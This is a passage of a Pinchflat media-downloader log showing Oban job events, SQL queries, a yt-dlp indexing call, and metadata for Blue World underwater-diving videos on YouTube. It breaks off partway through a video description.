{"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:40:02.590 [info] {"source":"oban","duration":1747,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:40:32.593 [info] {"source":"oban","duration":1650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:41:00.034 [info] {"source":"oban","duration":420,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:41:02.596 [info] {"source":"oban","duration":1585,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:41:32.599 [info] {"source":"oban","duration":2087,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:42:00.034 [info] {"source":"oban","duration":368,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:42:02.602 [info] {"source":"oban","duration":1580,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:42:32.605 [info] {"source":"oban","duration":2059,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:43:00.036 [info] {"source":"oban","duration":438,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:43:02.608 [info] {"source":"oban","duration":2106,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:43:32.611 [info] {"source":"oban","duration":2022,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:44:00.038 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:44:02.614 [info] {"source":"oban","duration":1585,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:44:32.616 [info] {"source":"oban","duration":560,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:45:00.040 [info] {"source":"oban","duration":399,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:45:02.618 [info] {"source":"oban","duration":1725,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:45:32.621 [info] {"source":"oban","duration":1537,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:46:00.042 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:46:02.623 [info] {"source":"oban","duration":1999,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:46:32.626 [info] {"source":"oban","duration":2225,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:47:00.044 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:47:02.629 [info] {"source":"oban","duration":2065,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:47:32.632 [info] {"source":"oban","duration":1735,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:48:00.046 [info] {"source":"oban","duration":415,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:48:02.635 [info] {"source":"oban","duration":1684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:48:32.638 [info] {"source":"oban","duration":1749,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:49:00.047 [info] {"source":"oban","duration":401,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:49:02.641 [info] {"source":"oban","duration":1576,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:49:32.644 [info] {"source":"oban","duration":1544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:50:00.049 [info] {"source":"oban","duration":420,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:50:02.647 [info] {"source":"oban","duration":1553,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:50:32.650 [info] {"source":"oban","duration":1538,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:51:00.051 [info] {"source":"oban","duration":386,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:51:02.653 [info] {"source":"oban","duration":1643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:51:32.656 [info] {"source":"oban","duration":1976,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:52:00.051 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:52:02.659 [info] {"source":"oban","duration":1958,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:52:32.662 [info] {"source":"oban","duration":1608,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:53:00.053 [info] {"source":"oban","duration":401,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:53:02.665 [info] {"source":"oban","duration":1699,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:53:32.668 [info] {"source":"oban","duration":1547,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:54:00.054 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:54:02.671 [info] {"source":"oban","duration":2075,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:54:32.674 [info] {"source":"oban","duration":1714,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:55:00.056 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:55:02.677 [info] {"source":"oban","duration":1605,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:55:32.680 [info] {"source":"oban","duration":1493,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:56:00.058 [info] {"source":"oban","duration":652,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:56:02.683 [info] {"source":"oban","duration":2070,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:56:32.685 [info] {"source":"oban","duration":1417,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:57:00.060 [info] {"source":"oban","duration":394,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:57:02.687 [info] {"source":"oban","duration":749,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:57:32.687 [info] {"source":"oban","duration":485,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:58:00.062 [info] {"source":"oban","duration":410,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:58:02.689 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:58:32.689 [info] {"source":"oban","duration":435,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:59:00.063 [info] {"source":"oban","duration":368,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:59:02.690 [info] {"source":"oban","duration":411,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:59:32.691 [info] {"source":"oban","duration":428,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:00:00.065 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:00:02.693 [info] {"source":"oban","duration":534,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:00:32.694 [info] {"source":"oban","duration":477,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:01:00.065 [info] {"source":"oban","duration":361,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:01:02.694 [info] {"source":"oban","duration":457,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:01:32.696 [info] {"source":"oban","duration":702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 19:02:00.067 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:02:02.698 [info] {"source":"oban","duration":478,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:02:32.699 [info] {"source":"oban","duration":491,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:02:35.221 [info] {"args":{"id":34},"id":7262,"meta":{},"system_time":1780527755221622213,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 19:02:35.223 [debug] QUERY OK source="sources" db=0.6ms idle=1523.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:02:35.224 [debug] QUERY OK source="settings" db=0.4ms idle=1012.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:02:35.225 [debug] QUERY OK source="media_items" db=1.2ms idle=526.0ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [34] 19:02:35.226 [debug] QUERY OK source="media_items" db=0.1ms idle=11.9ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [34] 19:02:35.226 [debug] QUERY OK source="media_profiles" db=0.1ms idle=4.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:02:35.226 [debug] QUERY OK source="settings" db=0.1ms idle=3.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:02:35.227 [debug] QUERY OK source="settings" db=0.1ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:02:35.228 [debug] QUERY OK source="media_items" db=1.1ms idle=1.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."source_id" = ?) ORDER BY m0."uploaded_at" DESC LIMIT 50 OFFSET 20 [34] 19:02:35.230 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 19:02:35.230 [debug] Current batch of media processed. Will check again in 1000ms 19:02:35.230 [debug] QUERY OK source="settings" db=0.1ms idle=4.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:02:35.230 [debug] QUERY OK source="settings" db=0.1ms idle=4.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:02:35.231 [debug] QUERY OK source="settings" db=0.0ms idle=4.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:02:35.231 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/@BlueWorldTV --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/rory/BlueWorldTV/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/bd/75/bd75cfa8b08f6361710e07fe55711706527bf5d2c8e6844b35c1a990985eed85.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/a9/79/a9799eef9794a559547385f774fc06e0245517a16f7916439cf2af94a7c1054a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:02:36.231 [debug] Current batch of media processed. Will check again in 1000ms 19:02:37.232 [debug] Current batch of media processed. Will check again in 1000ms 19:02:38.233 [debug] Current batch of media processed. Will check again in 1000ms 19:02:39.234 [debug] Current batch of media processed. Will check again in 1000ms 19:02:40.235 [debug] Current batch of media processed. Will check again in 1000ms 19:02:41.237 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Jonathan and Christine travel to La Paz where they explore a sea once called \"The World's Aquarium\" by famous underwater explorer Jacques Cousteau. Working with Carey Dive Center, they visit a shipwreck hosting a massive school of grunts, a reef with fish being stalked by a cormorant, a colony of playful sea lions, and feeding whale sharks! All in once place! It's an epic underwater adventure!\n\nCheck out Carey Dive Center:\nhttps://buceocarey.com.mx/\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #seaofcortez #lapaz \n\nChapters:\n0:00 Intro\n1:55 Heading out\n3:00 Wreck Dive\n7:14 Reef dive with cormorant\n11:40 Visiting La Paz\n12:45 Los Islotes sea lion colony\n20:00 Sea lions in a cave\n23:00 Whale Sharks\n26:22 Summary and Credits", "duration" => 1640, "filename" => "/downloads/rory/BlueWorldTV/2026-05-23 Diving the INCREDIBLE Sea of Cortez!/Diving the INCREDIBLE Sea of Cortez! [xqIdz7rvhZY].mp4", "id" => "xqIdz7rvhZY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=xqIdz7rvhZY", "playlist_index" => 1, "timestamp" => 1779544806, "title" => "Diving the INCREDIBLE Sea of Cortez!", "upload_date" => "20260523"} 19:02:41.238 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=539.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [34] 19:02:41.240 [debug] QUERY OK source="sources" db=0.5ms idle=540.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:02:41.242 [debug] QUERY OK source="media_items" db=1.5ms idle=542.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-23 14:00:06Z], 34] 19:02:41.243 [debug] QUERY OK source="media_items" db=1.1ms idle=543.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jonathan and Christine travel to La Paz where they explore a sea once called \"The World's Aquarium\" by famous underwater explorer Jacques Cousteau. Working with Carey Dive Center, they visit a shipwreck hosting a massive school of grunts, a reef with fish being stalked by a cormorant, a colony of playful sea lions, and feeding whale sharks! All in once place! It's an epic underwater adventure!\n\nCheck out Carey Dive Center:\nhttps://buceocarey.com.mx/\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #seaofcortez #lapaz \n\nChapters:\n0:00 Intro\n1:55 Heading out\n3:00 Wreck Dive\n7:14 Reef dive with cormorant\n11:40 Visiting La Paz\n12:45 Los Islotes sea lion colony\n20:00 Sea lions in a cave\n23:00 Whale Sharks\n26:22 Summary and Credits", "Diving the INCREDIBLE Sea of Cortez!", "2d4afa9a-94c0-483b-b06a-c1e74d21a761", "xqIdz7rvhZY", false, "https://www.youtube.com/watch?v=xqIdz7rvhZY", 34, [], 1640, false, 1, "/downloads/rory/BlueWorldTV/2026-05-23 Diving the INCREDIBLE Sea of Cortez!/Diving the INCREDIBLE Sea of Cortez! [xqIdz7rvhZY].mp4", false, false, 98, ~U[2026-05-23 14:00:06Z], ~U[2026-06-03 23:02:41Z], ~U[2026-06-03 23:02:41Z], "Jonathan and Christine travel to La Paz where they explore a sea once called \"The World's Aquarium\" by famous underwater explorer Jacques Cousteau. Working with Carey Dive Center, they visit a shipwreck hosting a massive school of grunts, a reef with fish being stalked by a cormorant, a colony of playful sea lions, and feeding whale sharks! All in once place! It's an epic underwater adventure!\n\nCheck out Carey Dive Center:\nhttps://buceocarey.com.mx/\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #seaofcortez #lapaz \n\nChapters:\n0:00 Intro\n1:55 Heading out\n3:00 Wreck Dive\n7:14 Reef dive with cormorant\n11:40 Visiting La Paz\n12:45 Los Islotes sea lion colony\n20:00 Sea lions in a cave\n23:00 Whale Sharks\n26:22 Summary and Credits", "Diving the INCREDIBLE Sea of Cortez!", "xqIdz7rvhZY", "https://www.youtube.com/watch?v=xqIdz7rvhZY", 34, 1640, false, "/downloads/rory/BlueWorldTV/2026-05-23 Diving the INCREDIBLE Sea of Cortez!/Diving the INCREDIBLE Sea of Cortez! [xqIdz7rvhZY].mp4", false, ~U[2026-05-23 14:00:06Z]] 19:02:41.244 [debug] QUERY OK source="sources" db=0.2ms idle=19.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:02:41.244 [debug] QUERY OK source="media_profiles" db=0.2ms queue=0.1ms idle=5.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:02:41.245 [debug] QUERY OK source="media_items" db=0.2ms idle=4.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [138836] 19:02:41.245 [debug] Current batch of media processed. Will check again in 1000ms 19:02:42.245 [debug] Current batch of media processed. Will check again in 1000ms 19:02:43.246 [debug] Current batch of media processed. Will check again in 1000ms 19:02:44.248 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "In this hour-long scuba diving adventure, the Blue World team travels to Palau and discovers all the reasons Palau is considered one of the best dive destinations in the world. From reefs to sharks to wrecks to caves and jellyfish lake, Palau has it all. Sit back and join the adventure!\n\nThis content was originally released as five individual webisodes. Here it is presented as a full-length documentary. Filmed in 2019.\n\nVisit Palau with Aggressor Fleet:\nhttps://www.aggressor.com/destination/palau\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving \n\nChapters:\n0:00 Intro\n3:00 The first dive\n12:40 Night Dive\n14:30 Jellyfish 